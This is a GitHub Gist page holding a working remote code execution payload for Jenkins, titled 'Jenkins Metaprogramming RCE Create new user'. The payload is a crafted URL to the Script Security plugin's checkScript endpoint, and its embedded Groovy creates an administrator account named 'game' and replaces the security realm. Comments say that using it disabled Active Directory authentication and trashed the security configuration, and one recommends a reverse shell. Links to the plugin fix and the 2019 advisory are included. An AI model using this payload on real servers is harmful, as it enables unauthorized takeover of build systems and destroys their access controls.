Created
July 26, 2019 13:23
-
-
Save akhil-reni/e2116cc243af096ca3416168f49b3298 to your computer and use it in GitHub Desktop.
Jenkins Metaprogramming RCE Create new user
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
http://localhost:8080/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/?sandbox=True&value=import+jenkins.model.*%0aimport+hudson.security.*%0aclass+nice{nice(){def+instance=Jenkins.getInstance();def+hudsonRealm=new+HudsonPrivateSecurityRealm(false);hudsonRealm.createAccount("game","game");instance.setSecurityRealm(hudsonRealm);instance.save();def+strategy=new+GlobalMatrixAuthorizationStrategy();%0astrategy.add(Jenkins.ADMINISTER,'game');instance.setAuthorizationStrategy(strategy)}} |
In addition to creating a privileged account, this disabled Active Directory authentication and destroyed the role-based configuration for Active Directory groups vs. Jenkins folders.
This will work but will also absolutely trash the whole security configuration! Use with caution!
If applicable, prefer the use of a Groovy/Bash reverse shell.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
jenkinsci/script-security-plugin@f2649a7
https://jenkins.io/security/advisory/2019-03-06/